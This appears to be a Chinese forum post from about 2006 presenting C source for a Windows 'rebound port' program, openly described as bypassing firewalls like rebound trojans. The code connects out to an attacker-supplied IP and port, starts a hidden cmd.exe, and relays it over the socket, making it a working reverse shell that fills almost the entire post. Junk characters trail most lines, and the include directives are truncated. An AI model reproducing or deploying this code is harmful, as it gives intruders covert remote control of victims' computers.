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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \;_tXb}F  
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/* ============================== +8 "8s  
Rebound port in Windows NT 1,zc8>M  
By wind,2006/7 _d7;Z%  
===============================*/ ~x4]p|)</  
#include JgHYuLB  
#include HLthVc w  
. WJ  
#pragma comment(lib,"wsock32.lib") qmPu D/ c  
bUy!hS;s  
void OutputShell(); SJc*Rl>  
SOCKET sClient; gkTwGI+w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !Q_Kil.9  
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void main(int argc,char **argv) v5 p`=Z@%  
{ w(S&X"~  
WSADATA stWsaData; FmF[S&gFRs  
int nRet; QTF1~A\  
SOCKADDR_IN stSaiClient,stSaiServer; Jk`l{N  
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if(argc != 3) Ap"%%D^{:  
{ vd^Z^cpi p  
printf("Useage:\n\rRebound DestIP DestPort\n"); )BaGY  
return; `B8`<3k/(  
} ./DlHS;  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3 AP=  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8eh3K8tL#  
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stSaiClient.sin_family = AF_INET; c9nv=?/}f  
stSaiClient.sin_port = htons(0); OFcP4hDi  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  Hi\z-P-  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @3b@]l5  
{ ^xgPL'  
printf("Bind Socket Failed!\n"); }a UQ#x  
return; |,TBP@  
} -m=!SQ >9  
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stSaiServer.sin_family = AF_INET; _\@zq*E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8U]mr+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z;R/!Py.  
6"[,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e!w{ap8u  
{ Mbly-l{|  
printf("Connect Error!"); Y>2#9LA  
return; 7''iT{-[p  
} Z)3oiLmD  
OutputShell(); I&^hG\D  
} X}QcXc.d  
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void OutputShell() NP!LBB)=Y  
{ 7a/ BS(kq<  
char szBuff[1024]; [%Z{Mp'g  
SECURITY_ATTRIBUTES stSecurityAttributes; x A*6Z)Y  
OSVERSIONINFO stOsversionInfo; NSzTl-eS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]-+l.gVFW  
STARTUPINFO stStartupInfo; 9RK.+ 2  
char *szShell; 'w/ S6j  
PROCESS_INFORMATION stProcessInformation; N /;Vg ^Wx  
unsigned long lBytesRead; GbkDs-  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @6;ZP1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ']^]z".H  
stSecurityAttributes.lpSecurityDescriptor = 0; 4 4WyfpTJ*  
stSecurityAttributes.bInheritHandle = TRUE; $p }q,f.  
! bwy/A  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eG dFupfz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \z@ :OR,  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pQ ul0]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }_+):<Db  
stStartupInfo.wShowWindow = SW_HIDE; G}dq ft5"  
stStartupInfo.hStdInput = hReadPipe; eQfXUpk3@I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =""5 c  
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GetVersionEx(&stOsversionInfo); Uw)B(;Hy?  
.F\[AD 5  
switch(stOsversionInfo.dwPlatformId) 7PO]\X^(zE  
{ kFfNDM#D  
case 1: x|Ms2.!  
szShell = "command.com"; M pz9}[`3g  
break; zP$"6~.  
default: F*4G@)  
szShell = "cmd.exe"; 530Kk<%^}8  
break; uy|]@|J  
} vcP_gJz  
t<^7s9r;I  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #zb67mg~  
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send(sClient,szMsg,77,0); c48I-{?  
while(1) DKNcp8<J  
{ z gxMDLH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J8&0l&~ 6  
if(lBytesRead) vU#>3[aC  
{ *4Z! 5iOs  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \rH0=~F-P  
send(sClient,szBuff,lBytesRead,0); 'SWK{t \4  
} s}4k^NGFJ  
else P qa;fiJ)  
{ }AS3]Lub@  
lBytesRead=recv(sClient,szBuff,1024,0); ]-OF3+l4  
if(lBytesRead<=0) break; b>& 3 XDz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0"mr*hyj  
} QghL=  
} aL8Z|*  
}%3i8e  
return; a0`(* #P  
}
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